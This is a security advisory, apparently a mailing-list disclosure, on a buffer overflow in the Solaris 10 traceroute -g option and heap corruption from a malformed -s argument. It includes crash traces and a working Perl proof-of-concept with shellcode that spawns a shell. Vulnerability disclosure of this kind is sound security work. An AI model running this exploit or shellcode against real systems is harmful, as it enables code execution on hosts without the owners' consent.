Solaris 10 /usr/sbin/traceroute vulnerabilities

[Przemyslaw Frasunek <venglin@xxxxxxxxxxxxxxxxx>]

/usr/sbin/traceroute from Solaris 10 is vulnerable to buffer overflow in
handling -g argument. After supplying 10 -g parameters, return address is
overwritten by IP address argument:

atari:root:/home/venglin# /usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g
7 -g 8 -g 9 -g 10 127.0.0.1
traceroute: too many IPv4 gateways
traceroute: unknown IPv4 host 1
traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 88 byte packets
Segmentation fault (core dumped)

atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
Core was generated by `/usr/sbin/traceroute -g 1 -g 2 -g 3 -g 4 -g 5 -g 6 -g 7
-g 8 -g 9 -g 10 127.0.0'.
Program terminated with signal 11, Segmentation fault.
[...]
#0  0x0100007f in ?? ()

0x0100007f is of course 127.0.0.1.

It is possible to run arbitrary code, but because of using __init_suid_priv(),
impact is limited to raw socket access.

It is interesting, that this vulnerability is specific to Solaris 10. It doesn't
affect Solaris 8 or 9, nor the OpenSolaris.

Proof of concept code:

#!/usr/bin/perl

$ret = 0x8046bb0;  # heap, solaris on amd64

$shellcode = "A" x 5000 .
"\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68/bin\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5";

$ip = sprintf("%d.%d.%d.%d", $ret & 0xff, ($ret & 0xff00) >> 8, ($ret &
0xff0000) >> 16, ($ret & 0xff000000) >> 24);

$cmd = "/usr/sbin/traceroute -g '$shellcode' -g 2 -g 3 -g 4 -g 5 -g 6 -g 7 -g 8
-g 9 -g 10 $ip";

print $cmd, "\n";

system($cmd);



atari:venglin:~> perl ./trace.pl
traceroute: too many IPv4 gateways
traceroute: unknown IPv4 host AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[...]
traceroute to 176.107.4.8 (176.107.4.8), 30 hops max, 88 byte packets
$


Another vulnerability is heap corruption after malformed -s argument:

atari:root:/home/venglin# gdb /usr/sbin/traceroute core
[...]
#0  0xfee7178d in _free_unlocked ()
   from /lib/libc.so.1
(gdb) bt
#0  0xfee7178d in _free_unlocked () from /lib/libc.so.1
#1  0xfee71752 in free () from /lib/libc.so.1
#2  0xfefa49a6 in freeaddrinfo () from /lib/libsocket.so.1
#3  0x08052a7a in main ()


-- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@xxxxxxxxxxxxxxx ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *